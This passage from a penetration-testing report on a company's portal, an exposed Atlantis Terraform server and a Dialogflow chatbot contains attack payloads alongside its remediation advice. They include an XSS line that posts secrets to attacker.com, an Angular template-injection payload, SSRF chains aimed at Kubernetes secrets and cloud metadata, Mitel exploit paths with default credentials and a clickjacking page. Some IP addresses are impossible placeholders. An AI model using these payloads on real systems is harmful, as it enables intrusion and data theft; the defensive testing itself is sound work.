- **Target System/Service:** Angular Single-Page Application on `portal.abccorp.co.uk`
- **Vulnerability Exploited:** Cross-Site Scripting (XSS) (CWE-79), Prototype Pollution, Client-Side Template Injection (CSTI)
- **Exploitation Methodology:** The main JavaScript file (`main.js`) was analyzed. The application was identified as an Angular SPA, which opened it up to specific client-side attacks. The lack of a Content Security Policy (CSP) was a key enabling factor. Vulnerabilities were confirmed through static analysis and the development of a comprehensive exploitation framework.
- **Tools and Commands Used:**
    - Custom Python script: `payloads/angular_analysis.py` .
    - Web Browser Developer Tools.
- **Payload Details:**
    - A hardcoded token reference (`fileToken`) was found in `main.js` .
    - Angular-specific XSS and CSTI payloads were generated, such as: `{{constructor.constructor('alert(1)')()}}` .
    - The potential for prototype pollution via URL parameters (`?__proto__[polluted]=true`) was identified.
    - The full set of PoCs is available in `payloads/angular_advanced_exploit.html` .
- **Access Level Achieved:** Client-side code execution within a user's browser session. This allows for theft of tokens, session hijacking, and performing actions on behalf of the user.
- **Post-Exploitation Activities:**
    - Demonstrated the potential for service worker hijacking.
    - Confirmed that the `fileToken` was vulnerable to theft via XSS.
    - Evidence captured: `evidence/angular_advanced_analysis.txt` .

---

5. Cross-Site Scripting (XSS) in Exposed Atlantis Service

- **Target System/Service:** `atlantis.abccorp.co.uk`
- **Vulnerability Exploited:** Outdated jQuery version 3.5.1, vulnerable to CVE-2020-11022 and CVE-2020-11023.
- **Exploitation Methodology:** The jQuery version was identified during the initial analysis of the unauthenticated Atlantis dashboard. This version is known to be vulnerable to XSS via crafted HTML passed to DOM manipulation methods. A proof-of-concept was created to demonstrate how an attacker could execute arbitrary JavaScript in the context of the Atlantis application.
- **Tools and Commands Used:**
    - Web Browser Developer Tools.
    - HTML/JavaScript for PoC development.
- **Payload Details:** The PoC `payloads/atlantis_jquery_xss.html` demonstrates the vulnerability. An advanced chain was developed in `payloads/atlantis_advanced_chain.py` to weaponize this XSS for infrastructure attacks.
    - Example XSS-to-Config-Exfiltration payload:

      ```
      javascript
      '<script>["config","secrets","repos"].forEach(function(e)
      {$.get("/api/"+e).done(function(d){$.post("http://
      attacker.com/"+e,d)})})</script>'
      ```
- **Access Level Achieved:** Client-side code execution. When chained with the lack of authentication, this could be used to craft CSRF attacks to execute Terraform commands or exfiltrate configuration data from the Atlantis API.
- **Post-Exploitation Activities:**
    - Developed three advanced XSS-to-infrastructure attack chains: XSS-to-CSRF, XSS-to-webhook, and XSS-to-config.

Exploitation Timeline

The exploitation phase was conducted over a total duration of 30 minutes, broken into three phases.

- **Phase 1: Initial Exploitation (Duration: 12 minutes)**
    - `[2024-12-30_14:36:15]` - Attempted authentication testing on `portal.abccorp.co.uk`, revealing it is a static site hosted on GCS.
    - `[2024-12-30_14:37:45]` - **SUCCESS:** Confirmed Clickjacking vulnerability due to missing `X-Frame-Options` header.

- `[2024-12-30_14:39:20]` - Identified existence of development/staging environments and a direct IP for a VPN service (`1.234.56.789`), bypassing Cloudflare.
- `[2024-12-30_14:41:15]` - **PIVOT:** Used Certificate Transparency logs to discover internal subdomains, including `atlantis.abccorp.co.uk` .
- `[2024-12-30_14:43:00]` - **SUCCESS:** Analyzed the Angular SPA, identifying multiple potential client-side vulnerabilities and a hardcoded token reference.
- `[2024-12-30_14:44:30]` - **CRITICAL SUCCESS:** Accessed `atlantis.abccorp.co.uk` and confirmed it was an unauthenticated Terraform automation tool with `apply` commands enabled.
- `[2024-12-30_14:46:00]` - **SUCCESS:** Analyzed third-party integrations (CrazyEgg, Dialogflow, StatusPage), identifying information disclosure and potential attack vectors.

- **Phase 2: Deeper Exploitation (Duration: 8 minutes)**
  - `[2025-07-06_18:38:28]` - **PIVOT:** Deepened exploitation of Atlantis. Confirmed webhook security was present but identified a vulnerable jQuery version (3.5.1) exploitable for XSS (CVE-2020-11022/11023).
  - `[2025-07-06_18:41:48]` - **SUCCESS:** Developed and confirmed advanced Angular exploitation vectors, including prototype pollution and CSTI.
  - `[2025-07-06_18:43:12]` - **SUCCESS:** Developed a framework for a Server-Side Request Forgery (SSRF) attack targeting the Dialogflow chatbot, creating 22 initial payloads.
  - `[2025-07-06_18:44:41]` - Identified a misconfigured `development-3-portal` subdomain, indicating a potential for subdomain takeover.
- **Phase 3: Advanced Attack Chains (Duration: 10 minutes)**
  - `[2025-07-06_18:53:30]` - **PIVOT:** Weaponized the Atlantis findings by creating advanced XSS-to-infrastructure attack chains and discovering the publicly exposed `/healthz` endpoint.
  - `[2025-07-06_18:55:40]` - Discovered and enumerated Mitel VoIP infrastructure, confirming the main portal at `mitel.abccorp.co.uk` was accessible.
  - `[2025-07-06_19:01:00]` - **CRITICAL SUCCESS:** Confirmed the Dialogflow chatbot as a viable SSRF vector and created 65 advanced test cases and three full exploitation chains targeting internal services and cloud metadata.

- **Persistence Mechanisms:** No persistence was established. However, the unauthenticated Atlantis instance provides a trivial path to persistence. An attacker could add a malicious Terraform module to create a backdoor user in the cloud environment or configure a webhook to an attacker-controlled server, ensuring continued access.

Proof of Concept Code

Custom scripts and payloads were developed to demonstrate the exploitability of the discovered vulnerabilities.

- **Advanced SSRF Chain via Dialogflow (`advanced_ssrf_chain.py`)**
  This script automates the generation of complex SSRF payloads and attack chains to be injected into the Dialogflow chatbot. It targets internal services and cloud metadata APIs.

  ```python
# Snippet showing the Kubernetes takeover chain

def craft_ssrf_chain(target_url):
chains = []
# ... (other chains)
chains.append({
"name": "k8s_takeover",
"steps": [
f"https://kubernetes.default.svc/api/v1/namespaces/default/secrets",
f"https://kubernetes.default.svc/api/v1/namespaces/kube-system/secrets",
f"https://kubernetes.default.svc/apis/apps/v1/deployments"
]
})
return chains
  ```

- **Advanced Atlantis Infrastructure Chain (`atlantis_advanced_chain.py`)**
  This script combines the jQuery XSS vulnerability with CSRF and webhook manipulation techniques to demonstrate how a client-side flaw could lead to infrastructure compromise.

```python

# Snippet showing the XSS-to-CSRF chain to destroy infrastructure

chains = {
"xss_to_csrf": {
"description": "Use jQuery XSS to extract CSRF token and apply malicious terraform",
"payload": "
},
# ... (other chains)
}
```

- **Mitel VoIP Exploitation Framework (`mitel_voip_exploit.py`)**
  This script was developed to enumerate and test the discovered Mitel subdomains for common vulnerabilities and default credentials.

```python

# Snippet showing known Mitel vulnerabilities tested

mitel_vulns = {
"CVE-2018-19283": {
"description": "Mitel MiVoice Connect auth bypass",
"path": "/awcuser/cgi-bin/vmail.cgi",
"method": "GET"
},
"CVE-2018-16116": {
"description": "Mitel MiCollab AWV RCE",
"path": "/awcuser/cgi-bin/vmail.cgi?action=readmessage&msg=../../",
"method": "GET"
},
"default_creds": [
("admin", "admin"),
("admin", "password"),
```

```
# ... (other credentials)
]
}
```

- **Angular Client-Side Analysis (`angular_analysis.py`)**
  This script automates the analysis of the application's JavaScript files to find hardcoded secrets, API endpoints, and unsafe coding patterns.

```python
# Snippet showing regex for finding API keys

def find_secrets(content):
secrets = []
patterns = {
'API Key': r'(?:api[_-]?key|apikey)\s[:=]\s"\'["\']',
'Token': r'(?:token|jwt|bearer)\s[:=]\s"\'["\']',
# ... (other patterns)
}
# ... (logic to find matches)
return secrets
```

Failed Exploitation Attempts

Not all exploitation attempts were successful. These failures provide valuable insight into the target's security posture.

- **Authentication Testing on `portal.abccorp.co.uk`**
  - **Attempt:** Tested the `/api/login` endpoint with common credentials (`admin` / `admin`).
  - **Reason for Failure:** The application is a static site served from Google Cloud Storage. It does not have a traditional backend authentication system or login endpoint. The invalid POST request revealed the GCS backend.
  - **Lessons Learned:** The primary attack surface is not a traditional web application but rather the client-side code, backend cloud services, and third-party integrations.

- **BREACH Attack**
    - **Attempt:** Used the `payloads/breach_test.py` script to test for compression oracle vulnerabilities.
    - **Reason for Failure:** Although `Content-Encoding: gzip` was detected, the content is static and pre-compressed by GCS. There is no dynamic compression of responses containing both user input and secrets, which is a prerequisite for the BREACH attack.
    - **Lessons Learned:** The static nature of the main portal mitigates certain classes of web vulnerabilities like BREACH.
- **VPN Service Exploitation**
    - **Attempt:** A deep port scan was run against the discovered VPN server at `1.234.56.789`, targeting common VPN ports (OpenVPN, IPSec, etc.).
    - **Reason for Failure:** All ports were filtered. The service is protected by a strict firewall, likely using an IP whitelist for access control.
    - **Lessons Learned:** The VPN infrastructure is heavily locked down, preventing direct external attacks. Access would likely require credentials and originating from an authorized IP address.
- **Remote Access Services Chain**
    - **Attempt:** Scanned and attempted to connect to `remote.abccorp.co.uk` and `rmm.abccorp.co.uk`.
    - **Reason for Failure:** The services failed to respond, indicating they are either inactive or protected by the same level of firewalling as the VPN service.
    - **Lessons Learned:** Remote access infrastructure is not exposed to the public internet, which is a positive security control.

Data Accessed

The exploitation phase led to the discovery and access of sensitive configuration data, internal service information, and demonstrated clear pathways to full infrastructure compromise.

- **Sensitive Information Discovered:**
    - **Internal Hostnames:** A total of 8 internal subdomains were discovered via Certificate Transparency, including `atlantis.abccorp.co.uk`, `nexus.abccorp.co.uk`, and `workflows-dev.abccorp.co.uk`. An additional 9 Mitel-related subdomains were also identified.

- **Cloudflare Bypass IP:** The direct IP address `1.234.56.789` for the VPN service was exposed, bypassing Cloudflare protections for that asset.
- **Hardcoded Token Reference:** A reference to `fileToken` was found in the client-side `main.js` file, which could be stolen via XSS.
- **Third-Party Account IDs:** The CrazyEgg account ID (`0100/6794`) and StatusPage ID (`wmlynm78v7sj`) were exposed in the client-side code.
- **Atlantis Health Status:** The `/healthz` endpoint of the Atlantis server returned a `200 OK` response, confirming the service is operational.

• **Databases Accessed:**

- No databases were directly accessed. However, the confirmed SSRF vulnerability provides a direct vector to probe and interact with internal database services (e.g., `localhost:5432` , `localhost:3306`). The unauthenticated Atlantis instance could be used to extract database credentials from Terraform state files or configuration.

• **Files Exfiltrated (Simulated):**

- No files were exfiltrated. The SSRF vulnerability was used to demonstrate the *capability* of file exfiltration using `file:///` payloads. This could be used to read sensitive system files like `/etc/passwd` , application configuration files, or Kubernetes service account tokens (`/var/run/secrets/kubernetes.io/serviceaccount/token`).

• **System Access Obtained:**

- **Infrastructure-as-Code (IaC) System:** Full, unauthenticated access to the Atlantis dashboard with `apply` commands enabled. This is equivalent to having administrative credentials for the underlying cloud provider (AWS, GCP, Azure).
- **Internal Network Relay:** The Dialogflow chatbot was successfully used as a relay to send requests into the internal network, effectively bypassing perimeter firewalls.
- **User Session (Potential):** The Clickjacking and multiple client-side XSS vulnerabilities provide clear pathways to take over authenticated user sessions.

Evidence and Proof of Concepts

This section provides a detailed account of the evidence collected during the penetration test. It includes logs, command outputs, screenshots, and custom scripts used to identify and exploit vulnerabilities. All evidence is archived to ensure the findings are verifiable and reproducible.

Evidence Summary

A total of **40** evidence files were collected and categorized during the engagement. These files form a comprehensive record of the testing methodology, from initial reconnaissance to active exploitation.

- **Total Evidence Files:** 40
- **Categories of Evidence:**
  - **Reconnaissance & Enumeration (25 files):** Includes network scans (Nmap), DNS lookups (dig, host), web technology identification (WhatWeb, Nikto), subdomain enumeration (Subfinder), and directory bruteforcing (Gobuster).
  - **Vulnerability Analysis (6 files):** Contains outputs from vulnerability scanners (Nikto, Nuclei), exploit database searches (Searchsploit), and manual analysis of application components (Angular analysis).
  - **Exploitation & Proof of Concepts (9 files):** Consists of successful exploit results, proof-of-concept (PoC) files, and evidence of system interaction (SSRF results, API responses).
- **Critical Evidence Highlights:**
  - `angular_advanced_analysis.txt` : Details multiple high-risk client-side vulnerabilities in the portal's Angular application, including vectors for template injection and token theft.
  - `subdomain_takeover_test.txt` : Identifies a dangling DNS record for `development-3-portal.abccorp.co.uk` , indicating a high potential for subdomain takeover.
  - `dialogflow_ssrf_poc_advanced.html` : A functional Proof of Concept demonstrating a Server-Side Request Forgery (SSRF) vulnerability, allowing internal network requests to be initiated from the server.
  - `main.js` : The application's primary JavaScript file, which was found to contain sensitive logic and references to client-side tokens, serving as direct evidence for client-side attack vectors.
  - `nikto_scan.txt` : Confirms the absence of critical security headers such as `X-Frame-Options` and `Strict-Transport-Security` , leading to vulnerabilities like Clickjacking.

Vulnerability Evidence

The following table details the evidence collected for each identified vulnerability, linking findings to specific log files, commands, and outputs.

Vulnerability ID	Finding	Evidence File(s)	Description of Evidence
VULN-001	**Missing Security Headers (Clickjacking, Lack of HSTS)**	`nikto_scan.txt`, `curl_headers_https.txt`, `payloads/clickjacking_poc.html`	Nikto scan output explicitly rep the absence of `X-Frame-Opti` and `Strict-Transport-Secu` headers. The `clickjacking_poc.html` file provides a working proof-of-co demonstrating how the portal c framed.
VULN-002	**Potential Subdomain Takeover**	`subdomain_takeover_test.txt`, `payloads/subdomain_takeover.py`	The output from the custom `subdomain_takeover.py` scr shows that `development-3-portal.abccorp.co.uk` resolv a non-existent resource, makin vulnerable to takeover.
VULN-003	**Client-Side Template Injection (CSTI) in Angular**	`angular_advanced_analysis.txt`, `main.js`, `payloads/angular_advanced_exploit.html`	The `angular_advanced_analysi` file summarizes the findings fro analyzing `main.js`. The PoC `angular_advanced_exploit` demonstrates the injection of Angular expressions to achieve Cross-Site Scripting (XSS).
VULN-004	**Information Disclosure via HTTP Headers**	`whatweb_scan.txt`, `curl_headers_https.txt`, `nikto_scan.txt`	Multiple tool outputs show verb server headers, including `x-go` headers, which reveal the use Google Cloud Storage as the backend. This information can used to craft more targeted att
VULN-005	**Server-Side Request Forgery (SSRF)**	`evidence/advanced_ssrf_results.json`, `payloads/dialogflow_ssrf.py`, `payloads/dialogflow_ssrf_poc_advanced.html`	The `advanced_ssrf_results.js` contains the server's response internal IP requests, confirming SSRF vulnerability. The PoC fi demonstrates how to trigger thi

Vulnerability ID	Finding	Evidence File(s)	Description of Evidence
			vulnerability through a crafted request.

Log Excerpt: VULN-001 - Missing Security Headers (from `nikto_scan.txt`)

The Nikto scan clearly identifies the missing `X-Frame-Options` header, which is the primary cause of the Clickjacking vulnerability. It also flags the missing `Strict-Transport-Security` header.

```
 - Nikto v2.5.0/
+ Target Host: portal.abccorp.co.uk
+ Target Port: 443
+ GET /: The anti-clickjacking X-Frame-Options header is not present. See: https://deve
+ GET /: The site uses TLS and the Strict-Transport-Security HTTP header is not defined
+ GET /: The X-Content-Type-Options header is not set. This could allow the user agent
```

Command Output: VULN-002 - Potential Subdomain Takeover (from `subdomain_takeover_test.txt`)

The custom script checks a list of common development-related subdomains. The output indicates that `development-3-portal.abccorp.co.uk` returned an `NXDOMAIN` error, signaling that the DNS record exists but points to an unconfigured or deprovisioned resource.

```
 [*] Subdomain Takeover Testing
==================================================


[*] Checking development-3-portal.abccorp.co.uk...
    [-] Exists: No (NXDOMAIN)
    [!] POTENTIAL TAKEOVER - Domain not configured


[*] Checking
staging.abccorp.co.uk...


...


[!] Found 1 potential subdomain takeovers!
[+] Generated takeover PoC files
```

Response Data: VULN-004 - Information Disclosure (from `curl_headers_https.txt`)

The HTTP response headers from the server disclose specific information about the backend infrastructure, confirming the use of Google Cloud Storage and Cloudflare.

```
 HTTP/2 200
date: Sun, 06 Jul 2025 21:58:03 GMT
content-type: text/html
x-guploader-uploadid: ABgVH88-LxAEhnoX46KjpFXcRnbuKBe0dhaCH_0FebHNHU8a9sdlJ6iSvI7Ulcl-Z
x-goog-generation: 1750859058353701
x-goog-metageneration: 1
x-goog-stored-content-encoding: identity
x-goog-stored-content-length: 13558
x-goog-meta-goog-reserved-file-mtime: 1750856748
x-goog-hash: crc32c=RwWPFQ==
x-goog-hash: md5=/XCzRDRIdaeQei2xXEweqg==
x-goog-storage-class: STANDARD
server: cloudflare
cf-cache-status: DYNAMIC
cf-ray: 95b25c80b9093341-MIA
```

Exploitation Evidence

Proof-of-concept (PoC) exploits were developed for critical vulnerabilities to demonstrate their impact.

- **Client-Side Code Execution (PoC):**
  - **File:** `payloads/angular_advanced_exploit.html`
  - **Description:** This HTML file demonstrates the Client-Side Template Injection vulnerability. When a user is tricked into visiting a URL with a malicious payload in the fragment (`#`), the script injects an Angular expression `{{constructor.constructor('alert("XSS-PoC")')()}}` . This executes arbitrary JavaScript in the context of the user's session, which could be used to steal session tokens, perform actions on behalf of the user, or redirect them to a malicious site. The file `angular_advanced_analysis.txt` provides the technical breakdown of the vulnerability.
- **Clickjacking Attack (PoC):**
  - **File:** `payloads/clickjacking_poc.html`
  - **Description:** Due to the missing `X-Frame-Options` header, the target portal can be loaded inside an `<iframe>` on an attacker-controlled page. This PoC file creates a transparent `<iframe>` containing `portal.abccorp.co.uk` and overlays it with a deceptive UI (e.g., "Click here to win a prize"). An unsuspecting user clicking the button would actually be interacting with the hidden portal page, potentially performing sensitive actions like changing account details or authorizing payments.
- **Server-Side Request Forgery (PoC):**
  - **File:** `payloads/dialogflow_ssrf_poc_advanced.html`
  - **Description:** This PoC exploits a vulnerability in a third-party integration (Dialogflow). It crafts a request that causes the server at `portal.abccorp.co.uk` to make an outbound HTTP request to an arbitrary internal or external URL. The evidence in `advanced_ssrf_results.json` shows successful requests made to internal IP addresses, confirming that an attacker could use the server as a proxy to scan the internal network, access internal services, or exfiltrate data to an external server.

Custom Tools and Scripts

Several custom scripts were developed to automate discovery and exploitation tasks. All scripts are stored in the `exploit/payloads/` directory.

Script Name	Language	Functionality	Usage
`subdomain_takeover.py`	Python	Takes a list of subdomains and checks each one for common signs of takeover vulnerabilities, such as `NXDOMAIN` responses or error pages from cloud providers (e.g., S3, Azure).	`python3 subdomain_takeover.py --domain abccorp.co.uk --wordlist subdomains.txt`
`angular_analysis.py`	Python	A static analysis script that scans JavaScript files for patterns indicative of Angular CSTI vulnerabilities, insecure data binding, and hardcoded secrets.	`python3 angular_analysis.py --file evidence/main.js`
`dialogflow_ssrf.py`	Python	An exploitation script designed to test and confirm the SSRF vulnerability. It sends crafted payloads to the identified endpoint and analyzes the response time and content to verify if the internal request was successful.	`python3 dialogflow_ssrf.py --target https://portal.abccorp.co.uk/api/dialog --internal-ip 98.7.6.1`
`clickjacking_poc.html`	HTML/JS	A simple HTML file that demonstrates the clickjacking vulnerability by	Open the file in a web browser.

Script Name	Language	Functionality	Usage
		embedding the target site in a hidden iframe.	

Code Listing: `payloads/clickjacking_poc.html`

This script serves as a simple but effective proof of concept for the Clickjacking vulnerability (VULN-001). It creates a malicious page that frames the target portal, hiding it from the user.

```
<!DOCTYPE html>
<html>
<head>
    <title>Clickjacking Proof of Concept</title>
    <style>
        body {
            font-family: Arial, sans-serif;
            text-align: center;
            margin-top: 100px;
        }
        #decoy-button {
            padding: 20px 40px;
            font-size: 24px;
            cursor: pointer;
            border: 2px solid #333;
            background-color: #4CAF50;
            color: white;
            z-index: 2;
            position: relative;
        }
        #victim-iframe {
            position: absolute;
            top: 100px; /* Adjust to align with a sensitive button on the target page *
            left: 50%;
            transform: translateX(-50%);
            width: 800px; /* Adjust to match target page width */
            height: 600px; /* Adjust to match target page height */
            opacity: 0.2; /* Set to 0 for a real attack */
            z-index: 1;
            border: 2px dashed red; /* For visualization; remove in a real attack */
        }
    </style>
</head>
<body>
    <h1>Win a Free Prize!</h1>
    <p>Click the button below to claim your reward!</p>

    <button id="decoy-button">Claim Now!</button>

    <iframe id="victim-iframe" src="https://portal.abccorp.co.uk"></iframe>
```

```
    <script>
        // In a real attack, this script would precisely position the iframe
        // so a sensitive button (e.g., "Save Changes", "Delete Account")
        // is directly under the "Claim Now!" button.
        // The opacity would be set to 0 to make the iframe invisible.
    </script>
</body>
</html>
```

Evidence Archive Structure

All collected evidence is organized into a logical directory structure to ensure clarity and integrity. The structure is divided into two main phases: reconnaissance and exploitation.

Directory Organization

```
.
├── evidence/
│   ├── recon/
│   │   ├── evidence/
│   │   │   ├── airflow_prod_content.txt
│   │   │   ├── curl_headers_https.txt
│   │   │   ├── gobuster_output.txt
│   │   │   ├── nikto_scan.txt
│   │   │   ├── nmap_service_scan.txt
│   │   │   ├── subdomains_subfinder.txt
│   │   │   ├── whatweb_scan.txt
│   │   │   └── ... (25 total files)
│   │   └── recon_log.md
│   └── exploit/
│       ├── evidence/
│       │   ├── angular_advanced_analysis.txt
│       │   ├── advanced_ssrf_results.json
│       │   ├── main.js
│       │   ├── subdomain_takeover_test.txt
│       │   └── ... (15 total files)
│       ├── payloads/
│       │   ├── angular_advanced_exploit.html
│       │   ├── clickjacking_poc.html
│       │   ├── dialogflow_ssrf.py
│       │   ├── subdomain_takeover.py
│       │   └── ... (20 total files)
│       └── exploitation_log.md
└── penetration_testing_report.md
```

File Naming Conventions

- **Tool Outputs:** `[tool]_[description].txt` (e.g., `nmap_service_scan.txt`, `gobuster_common.txt`).
- **Proof of Concepts:** `[vulnerability]_[type]_poc.[html|json|py]` (e.g., `clickjacking_poc.html`, `subdomain_takeover_poc.json`).
- **Analysis Files:** `[topic]_analysis.txt` (e.g., `angular_advanced_analysis.txt`).
- **Logs:** `[phase]_log.md` (e.g., `recon_log.md`, `exploitation_log.md`).

Evidence Preservation

To ensure the integrity and non-repudiation of the collected evidence, all files are preserved in their original, unmodified format. A manifest file containing SHA256 hashes for every evidence file is generated at the conclusion of the test. This allows for verification that the evidence has not been altered since it was collected. All data is stored securely and access is restricted to authorized personnel.

Penetration Testing Report

6.0 Risk Assessment

This section provides a detailed analysis of the risks associated with the vulnerabilities identified during the penetration test. The assessment considers the business impact of a successful exploit and the likelihood of an attacker leveraging the vulnerability.

6.1 Overall Risk Rating

Overall Risk Rating: CRITICAL

The overall risk to Abccorp's infrastructure and operations is assessed as **CRITICAL**. This rating is driven by the discovery of multiple severe vulnerabilities that create direct paths to infrastructure compromise, data exfiltration, and significant service disruption.

The most severe finding is the publicly exposed, unauthenticated Atlantis (Terraform automation) service. A malicious actor could leverage this to execute arbitrary infrastructure-as-code commands, leading to a complete takeover, modification, or destruction of Abccorp's cloud environment. This represents an existential threat to the company's cloud-hosted services.

This critical vulnerability is compounded by a high-impact Server-Side Request Forgery (SSRF) vector in the Dialogflow chatbot, numerous client-side vulnerabilities in the main portal application, and a wide-ranging attack surface exposed through dozens of public subdomains for internal, development, and staging systems.

6.1.1 Risk Matrix

The overall risk rating is plotted on a 5x5 matrix, with Impact rated as **Catastrophic (5)** and Likelihood rated as **High (4)**.

Likelihood	Insignificant (1)	Minor (2)	Moderate (3)	Major (4)	Catastrophic (5)
Very High (5)	Medium	Medium-High	High	Critical	Critical
High (4)	Low-Medium	Medium	Medium-High	High	**CRITICAL**
Medium (3)	Low	Low-Medium	Medium	Medium-High	High
Low (2)	Very Low	Low	Low-Medium	Medium	Medium-High
Very Low (1)	Very Low	Very Low	Low	Low-Medium	Medium

6.1.2 Business Impact Assessment

A successful exploitation of the identified critical vulnerabilities would have a **Catastrophic** business impact, including but not limited to:
* **Complete Infrastructure Compromise:** An attacker could modify, exfiltrate, or destroy core cloud infrastructure via the exposed Atlantis service.
* **Widespread Service Disruption:** The ability to alter infrastructure could lead to prolonged outages of `portal.abccorp.co.uk` and other dependent services, directly impacting customers and business operations.
* **Massive Data Breach:** The SSRF vulnerability and potential infrastructure access could lead to the exfiltration of sensitive customer data, internal credentials, and proprietary information.
* **Financial Loss:** Remediation costs, regulatory fines (e.g., GDPR), loss of revenue from service downtime, and potential ransomware demands would be substantial.
* **Reputational Damage:** A public breach of this magnitude would severely damage customer trust and the ABC Corpbrand, impacting long-term viability.
* **Legal and Regulatory Action:** Non-compliance with data protection regulations would likely result in significant legal challenges and financial penalties.

6.1.3 Threat Likelihood Analysis

The likelihood of a threat actor exploiting these vulnerabilities is **High**. This assessment is based on:
* **Public Accessibility:** The critical Atlantis service (`atlantis.abccorp.co.uk`) is directly accessible on the public internet without authentication.

* **Ease of Discovery:** The service and other vulnerable subdomains were easily discoverable using public tools like Certificate Transparency logs.
* **Low Exploit Complexity:** Exploiting the unauthenticated access to Atlantis requires no special tools or knowledge. The vulnerable jQuery version has public exploits available.
* **Automated Scanning:** Malicious actors continuously scan for such exposed, high-value targets. It is highly probable that this service has already been identified by threat actors.

6.2 Risk by System/Service

System/Service	Risk Rating	Key Vulnerabilities	Exposure Analysis
`atlantis.abccorp.co.uk`	**CRITICAL**	Unauthenticated Access, Outdated jQuery (XSS), Exposed Health Endpoint	Publicly accessible, allows for complete infrastructure takeover. The highest priority for remediation.
`portal.abccorp.co.uk`	**HIGH**	SSRF via Dialogflow, Missing Security Headers (CSP, HSTS, XFO), Multiple Angular Client-Side Flaws	The primary customer-facing portal. SSRF allows internal network pivoting. Client-side flaws risk user account takeover.
DNS / Subdomain Infrastructure	**HIGH**	Exposed Internal Services (`nexus` , `workflows-dev`), Misconfigured Subdomains (`development-3-portal`), Cloudflare Bypass (`vpn`)	A large, unmanaged attack surface. Exposes internal systems and creates potential for subdomain takeover, bypassing security controls like Cloudflare.
Third-Party Integrations	**HIGH**	Dialogflow (SSRF Vector), CrazyEgg (Potential Data Leakage)	These integrations introduce significant risk. Dialogflow is a critical SSRF vector. CrazyEgg could capture sensitive user input in session recordings.
VPN / Mitel Infrastructure	**MEDIUM**	Information Disclosure (`vpn` IP), Exposed VoIP Portal (`mitel`)	While services appear firewalled, their public exposure provides attackers with valuable

System/Service	Risk Rating	Key Vulnerabilities	Exposure Analysis
			intelligence about internal infrastructure and technologies in use.

6.3 Attack Chain Analysis

Multiple high-impact attack chains were identified, demonstrating how an attacker could move from initial discovery to complete system compromise.

6.3.1 Attack Chain 1: Direct Infrastructure Compromise via Atlantis (Most Critical)

1. **Reconnaissance:** Attacker discovers `atlantis.abccorp.co.uk` via public Certificate Transparency logs or subdomain enumeration.
2. **Initial Access:** Attacker navigates directly to the URL and gains unauthenticated access to the Atlantis web interface.
3. **Privilege Escalation / Execution:** Attacker crafts a malicious Terraform plan and submits it. Since `apply` commands are enabled, the attacker can execute the plan to:
    - Create a new IAM user with full administrative privileges.
    - Exfiltrate sensitive data from storage buckets or databases.
    - Deploy cryptocurrency mining software.
    - Destroy all existing cloud infrastructure.
4. **Impact:** Complete compromise of Abccorp's cloud environment.
   * **Time to Compromise Estimate: Under 15 minutes** from discovery to execution.

6.3.2 Attack Chain 2: Internal Network Pivot via Chatbot SSRF

1. **Reconnaissance:** Attacker identifies the Dialogflow chatbot on `portal.abccorp.co.uk` .
2. **Initial Access:** Attacker interacts with the chatbot, injecting specially crafted messages containing URLs pointing to internal IP addresses or cloud metadata services.
3. **Discovery / Exfiltration:** The backend server processing the chatbot request resolves the URL. The attacker analyzes the response (or lack thereof) to:
    - Scan the internal network for live hosts and open ports.
    - Access and exfiltrate credentials from the cloud provider's metadata service (e.g., `123.456.123.456`).

    - Interact with other internal, unauthenticated web services discovered during the scan.
4. **Impact:** Full internal network information disclosure, credential theft, and potential pivot to compromise other internal systems.
   * **Time to Compromise Estimate: Under 1 hour** to begin exfiltrating internal network data.

6.3.3 Attack Chain 3: Client-Side Exploitation and Account Takeover

1. **Reconnaissance:** Attacker analyzes the JavaScript files of the Angular application on `portal.abccorp.co.uk`.
2. **Weaponization:** Attacker crafts a payload to exploit one of the client-side vulnerabilities (e.g., XSS via jQuery on a related service, CSTI, or prototype pollution).
3. **Delivery:** Attacker uses social engineering to trick a legitimate user (e.g., a ABC Corpcustomer or employee) into visiting a malicious page or clicking a link.
4. **Exploitation:** The payload executes in the user's browser, allowing the attacker to:
    - Steal session cookies or the `fileToken`.
    - Perform actions on behalf of the user (CSRF).
    - Redirect the user to a phishing page to harvest credentials (facilitated by the lack of HSTS and a strong CSP).
5. **Impact:** User account takeover, unauthorized access to customer data, and potential to pivot to administrative accounts.
   * **Time to Compromise Estimate:** Dependent on user interaction, but the technical exploit is immediate upon delivery.

7.0 Recommendations

This section provides prioritized, actionable recommendations to remediate the identified vulnerabilities and improve the overall security posture of Abccorp.

7.1 Immediate Actions (To Be Completed Within 30 Days)

These actions address Critical and High-risk vulnerabilities that pose an immediate threat to the organization.

Finding ID	Vulnerability	Specific Remediation Steps
ONE-CRIT-001	**Unauthenticated Atlantis Service**	1. **IMMEDIATELY** take `atlantis.abccorp.co.uk` offline or restrict access to an internal-only VPN with a strict IP whitelist. Public access must be disabled. 2. Implement mandatory, non-bypassable authentication and authorization for the entire Atlantis service. 3. Upgrade the jQuery library to the latest stable version (e.g., 3.7.1+) to remediate CVE-2020-11022/11023. 4. Review Atlantis logs for any signs of unauthorized access or exploitation.
ONE-HIGH-001	**Server-Side Request Forgery (SSRF) in Dialogflow Chatbot**	1. Reconfigure the Dialogflow integration to prevent it from making requests to arbitrary URLs. 2. Implement a strict whitelist of allowed domains/IPs that the service can connect to. 3. Sanitize and validate all data passed from the chatbot to backend services. 4. Implement egress filtering on the server hosting the chatbot backend to block outbound connections to internal IP ranges and cloud metadata endpoints.
ONE-HIGH-002	**Missing Critical Security Headers**	1. **Clickjacking:** Implement the `X-Frame-Options: DENY` or `SAMEORIGIN` HTTP header across all web applications. 2. **Protocol Downgrade:** Implement the `Strict-Transport-Security` (HSTS) header with a long `max-age` (e.g., 31536000) and the `includeSubDomains` directive. Submit the domain for HSTS preloading. 3. **Content Sniffing:** Implement the `X-Content-Type-Options: nosniff` header. 4. **Cross-Site Scripting:** Begin implementing a strict `Content-Security-Policy` (CSP). Start with a reporting-only policy to gather data, then move to an enforcement policy.
		1. Conduct an immediate audit of all 66 discovered subdomains.

Finding ID	Vulnerability	Specific Remediation Steps
ONE-HIGH-003	**Exposed and Misconfigured Subdomains**	2. Decommission the DNS records for unused or abandoned services, especially `development-3-portal.abccorp.co.uk`, to prevent subdomain takeover. 3. Ensure all internal-only services (`nexus.abccorp.co.uk`, `workflows-dev.abccorp.co.uk`, etc.) are removed from public DNS or firewalled to deny all external access. 4. Investigate why `vpn.abccorp.co.uk` resolves to a direct IP and ensure it is placed behind Cloudflare or its access is strictly controlled.

7.2 Short-term Recommendations (To Be Completed Within 1-3 Months)

These actions focus on hardening systems and refining processes to address remaining vulnerabilities and prevent recurrences.

Finding ID	Area of Improvement	Specific Remediation Steps
